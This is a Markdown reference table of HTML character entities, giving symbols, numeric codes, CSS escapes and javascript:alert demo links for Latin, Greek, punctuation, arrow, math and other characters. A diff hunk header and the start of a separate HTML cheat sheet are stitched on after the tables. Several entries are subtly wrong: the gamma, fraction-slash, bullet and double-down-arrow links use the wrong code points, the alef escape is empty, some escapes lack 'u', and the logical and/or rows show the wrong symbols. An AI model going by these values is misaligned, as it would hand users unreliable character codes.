| `å` | å | `å` | small a, ring | %E5 | \\00e5 | <a href='javascript:alert("\345")'>\345</a> |
|
||||
| `æ` | æ | `æ` | small ae diphthong (ligature) | %E6 | \\00e6 | <a href='javascript:alert("\346")'>\346</a> |
|
||||
| `ç` | ç | `ç` | small c, cedilla | %E7 | \\00e7 | <a href='javascript:alert("\347")'>\347</a> |
|
||||
| `è` | è | `è` | small e, grave accent | %E8 | \\00e8 | <a href='javascript:alert("\350")'>\350</a> |
|
||||
| `é` | é | `é` | small e, acute accent | %E9 | \\00e9 | <a href='javascript:alert("\351")'>\351</a> |
|
||||
| `ê` | ê | `ê` | small e, circumflex accent | %EA | \\00ea | <a href='javascript:alert("\352")'>\352</a> |
|
||||
| `ë` | ë | `ë` | small e, dieresis or umlaut mark | %EB | \\00eb | <a href='javascript:alert("\353")'>\353</a> |
|
||||
| `ì` | ì | `ì` | small i, grave accent | %EC | \\00ec | <a href='javascript:alert("\354")'>\354</a> |
|
||||
| `í` | í | `í` | small i, acute accent | %ED | \\00ed | <a href='javascript:alert("\355")'>\355</a> |
|
||||
| `î` | î | `î` | small i, circumflex accent | %EE | \\00ee | <a href='javascript:alert("\356")'>\356</a> |
|
||||
| `ï` | ï | `ï` | small i, dieresis or umlaut mark | %EF | \\00ef | <a href='javascript:alert("\357")'>\357</a> |
|
||||
| `ð` | ð | `ð` | small eth, Icelandic | %F0 | \\00f0 | <a href='javascript:alert("\360")'>\360</a> |
|
||||
| `ñ` | ñ | `ñ` | small n, tilde | %F1 | \\00f1 | <a href='javascript:alert("\361")'>\361</a> |
|
||||
| `ò` | ò | `ò` | small o, grave accent | %F2 | \\00f2 | <a href='javascript:alert("\362")'>\362</a> |
|
||||
| `ó` | ó | `ó` | small o, acute accent | %F3 | \\00f3 | <a href='javascript:alert("\363")'>\363</a> |
|
||||
| `ô` | ô | `ô` | small o, circumflex accent | %F4 | \\00f4 | <a href='javascript:alert("\364")'>\364</a> |
|
||||
| `õ` | õ | `õ` | small o, tilde | %F5 | \\00f5 | <a href='javascript:alert("\365")'>\365</a> |
|
||||
| `ö` | ö | `ö` | small o, dieresis or umlaut mark | %F6 | \\00f6 | <a href='javascript:alert("\366")'>\366</a> |
|
||||
| `÷` | ÷ | `÷` | divide sign | %F7 | \\00f7 | <a href='javascript:alert("\367")'>\367</a> |
|
||||
| `ø` | ø | `ø` | small o, slash | %F8 | \\00f8 | <a href='javascript:alert("\370")'>\370</a> |
|
||||
| `ù` | ù | `ù` | small u, grave accent | %F9 | \\00f9 | <a href='javascript:alert("\371")'>\371</a> |
|
||||
| `ú` | ú | `ú` | small u, acute accent | %FA | \\00fa | <a href='javascript:alert("\372")'>\372</a> |
|
||||
| `û` | û | `û` | small u, circumflex accent | %FB | \\00fb | <a href='javascript:alert("\373")'>\373</a> |
|
||||
| `ü` | ü | `ü` | small u, dieresis or umlaut mark | %FC | \\00fc | <a href='javascript:alert("\374")'>\374</a> |
|
||||
| `ý` | ý | `ý` | small y, acute accent | %FD | \\00fd | <a href='javascript:alert("\375")'>\375</a> |
|
||||
| `þ` | þ | `þ` | small thorn, Icelandic | %FE | \\00fe | <a href='javascript:alert("\376")'>\376</a> |
|
||||
| `ÿ` | ÿ | `ÿ` | small y, dieresis or umlaut mark | %FF | \\00ff | <a href='javascript:alert("\377")'>\377</a> |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML Latin Extended
|
||||
|
||||
|
||||
|
||||
| HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) |
|
||||
|----------------|--------|--------------|-----------------------------------------|------------------|-----------|---------------------|
|
||||
| `Œ` | Œ | `Œ` | latin capital ligature oe | u+0152 ISOlat2 | \\0152 | <a href='javascript:alert("\u0152")'>\u0152</a> |
|
||||
| `œ` | œ | `œ` | latin small ligature oe | u+0153 ISOlat2 | \\0153 | <a href='javascript:alert("\u0153")'>\u0153</a> |
|
||||
| `Š` | Š | `Š` | latin capital letter s with caron | u+0160 ISOlat2 | \\0160 | <a href='javascript:alert("\u0160")'>\u0160</a> |
|
||||
| `š` | š | `š` | latin small letter s with caron | u+0161 ISOlat2 | \\0161 | <a href='javascript:alert("\u0161")'>\u0161</a> |
|
||||
| `Ÿ` | Ÿ | `Ÿ` | latin capital letter y with diaeresis | u+0178 ISOlat2 | \\0178 | <a href='javascript:alert("\u0178")'>\u0178</a> |
|
||||
| `ƒ` | ƒ | `ƒ` | latin small f with hook | u+0192 ISOtech | \\0192 | <a href='javascript:alert("\u0192")'>\u0192</a> |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML Spacing Modifier Letters
|
||||
|
||||
|
||||
|
||||
| HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) |
|
||||
|---------------|--------|-------------------------------------|-----------------|---------|---------------------|------------|
|
||||
| `ˆ` | ˆ | | modifier letter circumflex accent | u+02C6 ISOpub | \\02c6 | <a href='javascript:alert("\u02c6")'>\u02c6</a> |
|
||||
| `˜` | ˜ | | small tilde | u+02DC ISOdia | \\02dc | <a href='javascript:alert("\u02dc")'>\u02dc</a> |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML Greek
|
||||
|
||||
|
||||
|
||||
| HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) |
|
||||
|------------------|--------|--------------|-----------------------------------|------------------|-----------|---------------------|
|
||||
| `Α` | Α | `Α` | greek capital letter alpha | u+0391 | \\0391 | <a href='javascript:alert("\u0391")'>\u0391</a> |
|
||||
| `Β` | Β | `Β` | greek capital letter beta | u+0392 | \\0392 | <a href='javascript:alert("\u0392")'>\u0392</a> |
|
||||
| `Γ` | Γ | `Γ` | greek capital letter gamma | u+0393 ISOgrk3 | \\0393 | <a href='javascript:alert("\u0395")'>\u0395</a> |
|
||||
| `Δ` | Δ | `Δ` | greek capital letter delta | u+0394 ISOgrk3 | \\0394 | <a href='javascript:alert("\u0394")'>\u0394</a> |
|
||||
| `Ε` | Ε | `Ε` | greek capital letter epsilon | u+0395 | \\0395 | <a href='javascript:alert("\u0395")'>\u0395</a> |
|
||||
| `Ζ` | Ζ | `Ζ` | greek capital letter zeta | u+0396 | \\0396 | <a href='javascript:alert("\u0396")'>\u0396</a> |
|
||||
| `Η` | Η | `Η` | greek capital letter eta | u+0397 | \\0397 | <a href='javascript:alert("\u0397")'>\u0397</a> |
|
||||
| `Θ` | Θ | `Θ` | greek capital letter theta | u+0398 ISOgrk3 | \\0398 | <a href='javascript:alert("\u0398")'>\u0398</a> |
|
||||
| `Ι` | Ι | `Ι` | greek capital letter iota | u+0399 | \\0399 | <a href='javascript:alert("\u0399")'>\u0399</a> |
|
||||
| `Κ` | Κ | `Κ` | greek capital letter kappa | u+039A | \\039a | <a href='javascript:alert("\u039a")'>\u039a</a> |
|
||||
| `Λ` | Λ | `Λ` | greek capital letter lambda | u+039B ISOgrk3 | \\039b | <a href='javascript:alert("\u039b")'>\u039b</a> |
|
||||
| `Μ` | Μ | `Μ` | greek capital letter mu | u+039C | \\039c | <a href='javascript:alert("\u039c")'>\u039c</a> |
|
||||
| `Ν` | Ν | `Ν` | greek capital letter nu | u+039D | \\039d | <a href='javascript:alert("\u039D")'>\u039D</a> |
|
||||
| `Ξ` | Ξ | `Ξ` | greek capital letter xi | u+039E ISOgrk3 | \\039e | <a href='javascript:alert("\u039e")'>\u039e</a> |
|
||||
| `Ο` | Ο | `Ο` | greek capital letter omicron | u+039F | \\039f | <a href='javascript:alert("\u039f")'>\u039f</a> |
|
||||
| `Π` | Π | `Π` | greek capital letter pi | u+03A0 ISOgrk3 | \\03a0 | <a href='javascript:alert("\u03a0")'>\u03a0</a> |
|
||||
| `Ρ` | Ρ | `Ρ` | greek capital letter rho | u+03A1 | \\03a1 | <a href='javascript:alert("\u03a1")'>\u03a1</a> |
|
||||
| `Σ` | Σ | `Σ` | greek capital letter sigma | u+03A3 ISOgrk3 | \\03a3 | <a href='javascript:alert("\u03A3")'>\u03A3</a> |
|
||||
| `Τ` | Τ | `Τ` | greek capital letter tau | u+03A4 | \\03a4 | <a href='javascript:alert("\u03A4")'>\u03A4</a> |
|
||||
| `Υ` | Υ | `Υ` | greek capital letter upsilon | u+03A5 ISOgrk3 | \\03a5 | <a href='javascript:alert("\u03A5")'>\u03A5</a> |
|
||||
| `Φ` | Φ | `Φ` | greek capital letter phi | u+03A6 ISOgrk3 | \\03a6 | <a href='javascript:alert("\u03A6")'>\u03A6</a> |
|
||||
| `Χ` | Χ | `Χ` | greek capital letter chi | u+03A7 | \\03a7 | <a href='javascript:alert("\u03A7")'>\u03A7</a> |
|
||||
| `Ψ` | Ψ | `Ψ` | greek capital letter psi | u+03A8 ISOgrk3 | \\03a8 | <a href='javascript:alert("\u03A8")'>\u03A8</a> |
|
||||
| `Ω` | Ω | `Ω` | greek capital letter omega | u+03A9 ISOgrk3 | \\03a9 | <a href='javascript:alert("\u03A9")'>\u03A9</a> |
|
||||
| `α` | α | `α` | greek small letter alpha | u+03B1 ISOgrk3 | \\03b1 | <a href='javascript:alert("\u03b1")'>\u03b1</a> |
|
||||
| `β` | β | `β` | greek small letter beta | u+03B2 ISOgrk3 | \\03b2 | <a href='javascript:alert("\u03b2")'>\u03b2</a> |
|
||||
| `γ` | γ | `γ` | greek small letter gamma | u+03B3 ISOgrk3 | \\03b3 | <a href='javascript:alert("\u03b3")'>\u03b3</a> |
|
||||
| `δ` | δ | `δ` | greek small letter delta | u+03B4 ISOgrk3 | \\03b4 | <a href='javascript:alert("\u03b4")'>\u03b4</a> |
|
||||
| `ε` | ε | `ε` | greek small letter epsilon | u+03B5 ISOgrk3 | \\03b5 | <a href='javascript:alert("\u03b5")'>\u03b5</a> |
|
||||
| `ζ` | ζ | `ζ` | greek small letter zeta | u+03B6 ISOgrk3 | \\03b6 | <a href='javascript:alert("\u03b6")'>\u03b6</a> |
|
||||
| `η` | η | `η` | greek small letter eta | u+03B7 ISOgrk3 | \\03b7 | <a href='javascript:alert("\u03b7")'>\u03b7</a> |
|
||||
| `θ` | θ | `θ` | greek small letter theta | u+03B8 ISOgrk3 | \\03b8 | <a href='javascript:alert("\u03b8")'>\u03b8</a> |
|
||||
| `ι` | ι | `ι` | greek small letter iota | u+03B9 ISOgrk3 | \\03b9 | <a href='javascript:alert("\u03b9")'>\u03b9</a> |
|
||||
| `κ` | κ | `κ` | greek small letter kappa | u+03BA ISOgrk3 | \\03ba | <a href='javascript:alert("\u03ba")'>\u03ba</a> |
|
||||
| `λ` | λ | `λ` | greek small letter lambda | u+03BB ISOgrk3 | \\03bb | <a href='javascript:alert("\u03bb")'>\u03bb</a> |
|
||||
| `μ` | μ | `μ` | greek small letter mu | u+03BC ISOgrk3 | \\03bc | <a href='javascript:alert("\u03bc")'>\u03bc</a> |
|
||||
| `ν` | ν | `ν` | greek small letter nu | u+03BD ISOgrk3 | \\03bd | <a href='javascript:alert("\u03bd")'>\u03bd</a> |
|
||||
| `ξ` | ξ | `ξ` | greek small letter xi | u+03BE ISOgrk3 | \\03be | <a href='javascript:alert("\u03be")'>\u03be</a> |
|
||||
| `ο` | ο | `ο` | greek small letter omicron | u+03BF NEW | \\03bf | <a href='javascript:alert("\u03bf")'>\u03bf</a> |
|
||||
| `π` | π | `π` | greek small letter pi | u+03C0 ISOgrk3 | \\03c0 | <a href='javascript:alert("\u03c0")'>\u03c0</a> |
|
||||
| `ρ` | ρ | `ρ` | greek small letter rho | u+03C1 ISOgrk3 | \\03c1 | <a href='javascript:alert("\u03c1")'>\u03c1</a> |
|
||||
| `ς` | ς | `ς` | greek small letter final sigma | u+03C2 ISOgrk3 | \\03C2 | <a href='javascript:alert("\u03c2")'>\u03c2</a> |
|
||||
| `σ` | σ | `σ` | greek small letter sigma | u+03C3 ISOgrk3 | \\03C3 | <a href='javascript:alert("\u03c3")'>\u03c3</a> |
|
||||
| `τ` | τ | `τ` | greek small letter tau | u+03C4 ISOgrk3 | \\03C4 | <a href='javascript:alert("\u03c4")'>\u03c4</a> |
|
||||
| `υ` | υ | `υ` | greek small letter upsilon | u+03C5 ISOgrk3 | \\03C5 | <a href='javascript:alert("\u03c5")'>\u03c5</a> |
|
||||
| `φ` | φ | `φ` | greek small letter phi | u+03C6 ISOgrk3 | \\03C6 | <a href='javascript:alert("\03c6")'>\03c6</a> |
|
||||
| `χ` | χ | `χ` | greek small letter chi | u+03C7 ISOgrk3 | \\03C7 | <a href='javascript:alert("\u03c7")'>\u03c7</a> |
|
||||
| `ψ` | ψ | `ψ` | greek small letter psi | u+03C8 ISOgrk3 | \\03C8 | <a href='javascript:alert("\u03c8")'>\u03c8</a> |
|
||||
| `ω` | ω | `ω` | greek small letter omega | u+03C9 ISOgrk3 | \\03C9 | <a href='javascript:alert("\u03c9")'>\u03c9</a> |
|
||||
| `ϑ` | ϑ | `ϑ` | greek small letter theta symbol | u+03D1 NEW | \\03D1 | <a href='javascript:alert("\u03D1")'>\u03D1</a> |
|
||||
| `ϒ` | ϒ | `ϒ` | greek upsilon with hook symbol | u+03D2 NEW | \\03D2 | <a href='javascript:alert("\u03D2")'>\u03D2</a> |
|
||||
| `ϖ` | ϖ | `ϖ` | greek pi symbol | u+03D6 ISOgrk3 | \\03D6 | <a href='javascript:alert("\u03D6")'>\u03D6</a> |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML Punctuation
|
||||
|
||||
|
||||
|
||||
| HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) |
|
||||
|----------------|--------|---------------|-------------------------------------------------------------------------------------|-----------------------|-----------|---------------------|
|
||||
| ` ` | | ` ` | en space | u+2002 ISOpub | \\2002 | <a href='javascript:alert("\u2002")'>\u2002</a> |
|
||||
| ` ` | | ` ` | em space | u+2003 ISOpub | \\2003 | <a href='javascript:alert("\u2003")'>\u2003</a> |
|
||||
| ` ` | | ` ` | thin space | u+2009 ISOpub | \\2009 | <a href='javascript:alert("\u2009")'>\u2009</a> |
|
||||
| `‌` | | `‌` | zero width non-joiner | u+200C NEW RFC 2070 | \\200C | <a href='javascript:alert("\u200C")'>\u200C</a> |
|
||||
| `‍` | | `‍` | zero width joiner | u+200D NEW RFC 2070 | \\200D | <a href='javascript:alert("\u200d")'>\u200d</a> |
|
||||
| `‎` | | `‎` | left-to-right mark | u+200E NEW RFC 2070 | \\200E | <a href='javascript:alert("\u200e")'>\u200e</a> |
|
||||
| `‏` | | `‏` | right-to-left mark | u+200F NEW RFC 2070 | \\200F | <a href='javascript:alert("\u200f")'>\u200f</a> |
|
||||
| `–` | – | `–` | en dash | u+2013 ISOpub | \\2013 | <a href='javascript:alert("\u2013")'>\u2013</a> |
|
||||
| `—` | — | `—` | em dash | u+2014 ISOpub | \\2014 | <a href='javascript:alert("\u2014")'>\u2014</a> |
|
||||
| `‘` | ‘ | `‘` | left single quotation mark | u+2018 ISOnum | \\2018 | <a href='javascript:alert("\u2018")'>\u2018</a> |
|
||||
| `’` | ’ | `’` | right single quotation mark | u+2019 ISOnum | \\2019 | <a href='javascript:alert("\u2019")'>\u2019</a> |
|
||||
| `‚` | ‚ | `‚` | single low-9 quotation mark | u+201A NEW | \\201A | <a href='javascript:alert("\u201a")'>\u201a</a> |
|
||||
| `“` | “ | `“` | left double quotation mark | u+201C ISOnum | \\201C | <a href='javascript:alert("\u201c")'>\u201c</a> |
|
||||
| `”` | ” | `”` | right double quotation mark | u+201D ISOnum | \\201D | <a href='javascript:alert("\u201d")'>\u201d</a> |
|
||||
| `„` | „ | `„` | double low-9 quotation mark | u+201E NEW | \\201E | <a href='javascript:alert("\u201e")'>\u201e</a> |
|
||||
| `†` | † | `†` | dagger | u+2020 ISOpub | \\2020 | <a href='javascript:alert("\u2020")'>\u2020</a> |
|
||||
| `‡` | ‡ | `‡` | double dagger | u+2021 ISOpub | \\2021 | <a href='javascript:alert("\u2021")'>\u2021</a> |
|
||||
| `‰` | ‰ | `‰` | per mille sign | u+2030 ISOtech | \\2030 | <a href='javascript:alert("\u2030")'>\u2030</a> |
|
||||
| `‹` | ‹ | `‹` | single left-pointing angle quotation mark | u+2039 ISO proposed | \\2039 | <a href='javascript:alert("\u2039")'>\u2039</a> |
|
||||
| `›` | › | `›` | single right-pointing angle quotation mark | u+203A ISO proposed | \\203A | <a href='javascript:alert("\u203a")'>\u203a</a> |
|
||||
| `•` | • | `•` | bullet, aka. black small circle | u+2022 ISOpub | \\2022 | <a href='javascript:alert("\u2219")'>\u2219</a> |
|
||||
| `…` | … | `…` | horizontal ellipsis, aka three dot leader | u+2026 ISOpub | \\2026 | <a href='javascript:alert("\u2026")'>\u2026</a> |
|
||||
| `′` | ′ | `′` | prime, aka minutes, aka feet | u+2032 ISOtech | \\2032 | <a href='javascript:alert("\u2032")'>\u2032</a> |
|
||||
| `″` | ″ | `″` | double prime, aka seconds, aka inches | u+2033 ISOtech | \\2033 | <a href='javascript:alert("\u2033")'>\u2033</a> |
|
||||
| `‾` | ‾ | `‾` | overline, aka spacing overscore | u+203E NEW | \\203E | <a href='javascript:alert("\u203e")'>\u203e</a> |
|
||||
| `⁄` | ⁄ | `⁄` | fraction slash | u+2044 NEW | \\2044 | <a href='javascript:alert("\u8260")'>\u8260</a> |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML Letter-like Symbols
|
||||
|
||||
|
||||
|
||||
| HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) |
|
||||
|-----------------|--------|---------------|------------------------------------------------------------|------------------|-----------|---------------------|
|
||||
| `℘` | ℘ | `℘` | script capital P, aka power set, aka Weierstrass p | u+2118 ISOamso | \\2118 | <a href='javascript:alert("\u2118")'>\u2118</a> |
|
||||
| `ℑ` | ℑ | `ℑ` | blackletter capital I, aka imaginary part | u+2111 ISOamso | \\2111 | <a href='javascript:alert("\u2111")'>\u2111</a> |
|
||||
| `ℜ` | ℜ | `ℜ` | blackletter capital R, aka real part symbol | u+211C ISOamso | \\211C | <a href='javascript:alert("\u211c")'>\u211c</a> |
|
||||
| `™` | ™ | `™` | trade mark sign | u+2122 ISOnum | \\2122 | <a href='javascript:alert("\u2122")'>\u2122</a> |
|
||||
| `ℵ` | ℵ | `ℵ` | alef symbol | u+2135 NEW | \\2135 | <a href='javascript:alert("\u")'>\u</a> |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML Arrows
|
||||
|
||||
|
||||
|
||||
| HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) |
|
||||
|---------------|---------------|---------------------------------|-----------------------------------------------------------------|------------------|---------------------|---------------------|
|
||||
| `←` | ← | `←` | leftwards arrow | u+2190 ISOnum | \\2190 | <a href='javascript:alert("\u2190")'>\u2190</a> |
|
||||
| `↑` | ↑ | `↑` | upwards arrow | u+2191 ISOnum | \\2191 | <a href='javascript:alert("\u2191")'>\u2191</a> |
|
||||
| `→` | → | `→` | rightwards arrow | u+2192 ISOnum | \\2192 | <a href='javascript:alert("\u2192")'>\u2192</a> |
|
||||
| `↓` | ↓ | `↓` | downwards arrow | u+2193 ISOnum | \\2193 | <a href='javascript:alert("\u2193")'>\u2193</a> |
|
||||
| `↔` | ↔ | `↔` | left right arrow | u+2194 ISOamsa | \\2194 | <a href='javascript:alert("\u2194")'>\u2194</a> |
|
||||
| `↵` | ↵ | `↵` | downwards arrow with corner leftwards, aka carriage return | u+21B5 NEW | \\21B5 | <a href='javascript:alert("\u21b5")'>\u21b5</a> |
|
||||
| `⇐` | ⇐ | `⇐` | leftwards double arrow can be used for ‘is implied by’ | u+21D0 ISOtech | \\21D0 | <a href='javascript:alert("\u21d0")'>\u21d0</a> |
|
||||
| `⇑` | ⇑ | `⇑` | upwards double arrow | u+21D1 ISOamsa | \\21D1 | <a href='javascript:alert("\u21d1")'>\u21d1</a> |
|
||||
| `⇒` | ⇒ | `⇒` | rightwards double arrow | u+21D2 ISOtech | \\21D2 | <a href='javascript:alert("\u21d2")'>\u21d2</a> |
|
||||
| `⇓` | ⇓ | `⇓` | downwards double arrow | u+21D3 ISOamsa | \\21D3 | <a href='javascript:alert("\ud1d3")'>\ud1d3</a> |
|
||||
| `⇔` | ⇔ | `⇔` | left right double arrow | u+21D4 ISOamsa | \\21D4 | <a href='javascript:alert("\u21d4")'>\u21d4</a> |
|
||||
| | ◄ | `◄` | black left pointing triangle | U+25C0 | \\25C0 | <a href='javascript:alert("\u25c0")'>\u25c0</a> |
|
||||
| | ► | `►` | black right pointing triangle | u+25B6 | \\25b6 | <a href='javascript:alert("\u25b6")'>\u25b6</a> |
|
||||
| | ▲ | `▲` | black up pointing triangle | u+25B2 | \\25b2 | <a href='javascript:alert("\25b2")'>\25b2</a> |
|
||||
| | ▼ | `▼` | black down pointing triangle | u+25BC | \\25bc | <a href='javascript:alert("\25bc")'>\25bc</a> |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML Mathematical Operators
|
||||
|
||||
|
||||
|
||||
| HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) |
|
||||
|----------------|--------|---------------|-----------------------------------------------|------------------|-----------|---------------------|
|
||||
| `∀` | ∀ | `∀` | for all | u+2200 ISOtech | \\2200 | <a href='javascript:alert("\u2200")'>\u2200</a> |
|
||||
| `∂` | ∂ | `∂` | partial differential | u+2202 ISOtech | \\2202 | <a href='javascript:alert("\u2202")'>\u2202</a> |
|
||||
| `∃` | ∃ | `∃` | there exists | u+2203 ISOtech | \\2203 | <a href='javascript:alert("\u2203")'>\u2203</a> |
|
||||
| `∅` | ∅ | `∅` | empty set, aka null set, aka diameter | u+2205 ISOamso | \\2205 | <a href='javascript:alert("\u2205")'>\u2205</a> |
|
||||
| `∇` | ∇ | `∇` | nabla, aka bakad difference | u+2207 ISOtech | \\2207 | <a href='javascript:alert("\u2207")'>\u2207</a> |
|
||||
| `∈` | ∈ | `∈` | element of | u+2208 ISOtech | \\2208 | <a href='javascript:alert("\u2208")'>\u2208</a> |
|
||||
| `∉` | ∉ | `∉` | not an element of | u+2209 ISOtech | \\2209 | <a href='javascript:alert("\u2209")'>\u2209</a> |
|
||||
| `∋` | ∋ | `∋` | contains as member | u+220B ISOtech | \\220B | <a href='javascript:alert("\u220b")'>\u220b</a> |
|
||||
| `∏` | ∏ | `∏` | n-ary product, aka product sign | u+220F ISOamsb | \\220F | <a href='javascript:alert("\u03a0")'>\u03a0</a> |
|
||||
| `∑` | ∑ | `∑` | n-ary sumation | u+2211 ISOamsb | \\2211 | <a href='javascript:alert("\u03a3")'>\u03a3</a> |
|
||||
| `−` | − | `−` | minus sign | u+2212 ISOtech | \\2212 | <a href='javascript:alert("\u2212")'>\u2212</a> |
|
||||
| `∗` | ∗ | `∗` | asterisk operator | u+2217 ISOtech | \\2217 | <a href='javascript:alert("\u2217")'>\u2217</a> |
|
||||
| `√` | √ | `√` | square root, aka radical sign | u+221A ISOtech | \\221A | <a href='javascript:alert("\u221a")'>\u221a</a> |
|
||||
| `∝` | ∝ | `∝` | proportional to | u+221D ISOtech | \\221D | <a href='javascript:alert("\u221d")'>\u221d</a> |
|
||||
| `∞` | ∞ | `∞` | infinity | u+221E ISOtech | \\221E | <a href='javascript:alert("\u221e")'>\u221e</a> |
|
||||
| `∠` | ∠ | `∠` | angle | u+2220 ISOamso | \\2220 | <a href='javascript:alert("\u2220")'>\u2220</a> |
|
||||
| `∧` | ⊥ | `⊥` | logical and, aka wedge | u+2227 ISOtech | \\2227 | <a href='javascript:alert("\u2227")'>\u2227</a> |
|
||||
| `∨` | ⊦ | `⊦` | logical or, aka vee | u+2228 ISOtech | \\2228 | <a href='javascript:alert("\u2228")'>\u2228</a> |
|
||||
| `∩` | ∩ | `∩` | intersection, aka cap | u+2229 ISOtech | \\2229 | <a href='javascript:alert("\u2229")'>\u2229</a> |
|
||||
| `∪` | ∪ | `∪` | union, aka cup | u+222A ISOtech | \\222A | <a href='javascript:alert("\u222a")'>\u222a</a> |
|
||||
| `∫` | ∫ | `∫` | integral | u+222B ISOtech | \\222B | <a href='javascript:alert("\u222b")'>\u222b</a> |
|
||||
| `∴` | ∴ | `∴` | therefore | u+2234 ISOtech | \\2234 | <a href='javascript:alert("\u2234")'>\u2234</a> |
|
||||
| `∼` | ∼ | `∼` | tilde | u+223C ISOtech | \\223C | <a href='javascript:alert("\u223c")'>\u223c</a> |
|
||||
| `≅` | ≅ | `≅` | approximately equal to | u+2245 ISOtech | \\2245 | <a href='javascript:alert("\u2245")'>\u2245</a> |
|
||||
| `≈` | ≈ | `≈` | almost equal to, aka asymptotic to | u+2248 ISOamsr | \\2248 | <a href='javascript:alert("\u2248")'>\u2248</a> |
|
||||
| `≠` | ≠ | `≠` | not equal to | u+2260 ISOtech | \\2260 | <a href='javascript:alert("\u2260")'>\u2260</a> |
|
||||
| `≡` | ≡ | `≡` | identical to | u+2261 ISOtech | \\2261 | <a href='javascript:alert("\u2261")'>\u2261</a> |
|
||||
| `≤` | ≤ | `≤` | less-than or equal to | u+2264 ISOtech | \\2264 | <a href='javascript:alert("\u2264")'>\u2264</a> |
|
||||
| `≥` | ≥ | `≥` | greater-than or equal to | u+2265 ISOtech | \\2265 | <a href='javascript:alert("\u2265")'>\u2265</a> |
|
||||
| `⊂` | ⊂ | `⊂` | subset of | u+2282 ISOtech | \\2282 | <a href='javascript:alert("\u2282")'>\u2282</a> |
|
||||
| `⊃` | ⊃ | `⊃` | superset of | u+2283 ISOtech | \\2283 | <a href='javascript:alert("\u2283")'>\u2283</a> |
|
||||
| `⊄` | ⊄ | `⊄` | not a subset of | u+2284 ISOamsn | \\2284 | <a href='javascript:alert("\u2284")'>\u2284</a> |
|
||||
| `⊆` | ⊆ | `⊆` | subset of or equal to | u+2286 ISOtech | \\2286 | <a href='javascript:alert("\u2286")'>\u2286</a> |
|
||||
| `⊇` | ⊇ | `⊇` | superset of or equal to | u+2287 ISOtech | \\2287 | <a href='javascript:alert("\u2287")'>\u2287</a> |
|
||||
| `⊕` | ⊕ | `⊕` | circled plus, aka direct sum | u+2295 ISOamsb | \\2295 | <a href='javascript:alert("\u2295")'>\u2295</a> |
|
||||
| `⊗` | ⊗ | `⊗` | circled times, aka vector product | u+2297 ISOamsb | \\2297 | <a href='javascript:alert("\u2297")'>\u2297</a> |
|
||||
| `⊥` | ⊥ | `⊥` | up tack | u+22A5 ISOtech | \\22A5 | <a href='javascript:alert("\u22a5")'>\u22a5</a> |
|
||||
| `⋅` | ⋅ | `⋅` | dot operator | u+22C5 ISOamsb | \\22C5 | <a href='javascript:alert("\u22c5")'>\u22c5</a> |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML Technical
|
||||
|
||||
|
||||
|
||||
| HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) |
|
||||
|----------------|--------|---------------|------------------------------------|------------------|-----------|---------------------|
|
||||
| `⌈` | ⌈ | `⌈` | left ceiling, aka apl upstile | u+2308 ISOamsc | \\2308 | <a href='javascript:alert("\u2308")'>\u2308</a> |
|
||||
| `⌉` | ⌉ | `⌉` | right ceiling | u+2309 ISOamsc | \\2309 | <a href='javascript:alert("\u2309")'>\u2309</a> |
|
||||
| `⌊` | ⌊ | `⌊` | left floor, aka apl downstile | u+230A ISOamsc | \\230A | <a href='javascript:alert("\u230a")'>\u230a</a> |
|
||||
| `⌋` | ⌋ | `⌋` | right floor | u+230B ISOamsc | \\230B | <a href='javascript:alert("\u230b")'>\u230b</a> |
|
||||
| `⟨` | 〈 | `〈` | left-pointing angle bracket | u+2329 ISOtech | \\2329 | <a href='javascript:alert("\u2329")'>\u2329</a> |
|
||||
| `⟩` | 〉 | `〉` | right-pointing angle bracket | u+232A ISOtech | \\232A | <a href='javascript:alert("\u232a")'>\u232a</a> |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
### HTML Miscellaneous
|
||||
|
||||
|
||||
| HTML | Symbol | Numeric | Description | Hex | CSS (ISO) | JS (Octal) |
|
||||
|----------------|--------|---------------|--------------------------------------|-----------------|-----------|---------------------|
|
||||
| `◊` | ◊ | `◊` | lozenge | u+25CA ISOpub | \\25CA | <a href='javascript:alert("\u25ca")'>\u25ca</a> |
|
||||
| `♠` | ♠ | `♠` | black spade suit | u+2660 ISOpub | \\2660 | <a href='javascript:alert("\u2660")'>\u2660</a> |
|
||||
| `♣` | ♣ | `♣` | black club suit, aka shamrock | u+2663 ISOpub | \\2663 | <a href='javascript:alert("\u2663")'>\u2663</a> |
|
||||
| `♥` | ♥ | `♥` | black heart suit, aka valentine | u+2665 ISOpub | \\2665 | <a href='javascript:alert("\u2665")'>\u2665</a> |
|
||||
| `♦` | ♦ | `♦` | black diamond suit | u+2666 ISOpub | \\2666 | <a href='javascript:alert("\u2666")'>\u2666</a> |
|
||||
{.show-header}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,887 @@
|
||||
---
|
||||
title: HTML
|
||||
date: 2021-07-20 19:16:42
|
||||
icon: icon-html
|
||||
background: bg-[#cc5534]
|
||||
tags:
|
||||
- web
|
||||
categories:
|
||||
- Programming
|
||||
intro: |
|
||||
This HTML quick reference cheat sheet lists the common HTML and HTML5 tags in readable layout.
|
||||
---
|
||||
|
||||
|
||||
Getting started {.cols-3}
|
||||
------------
|
||||
|
||||
### hello.html {.col-span-2 .row-span-2}
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
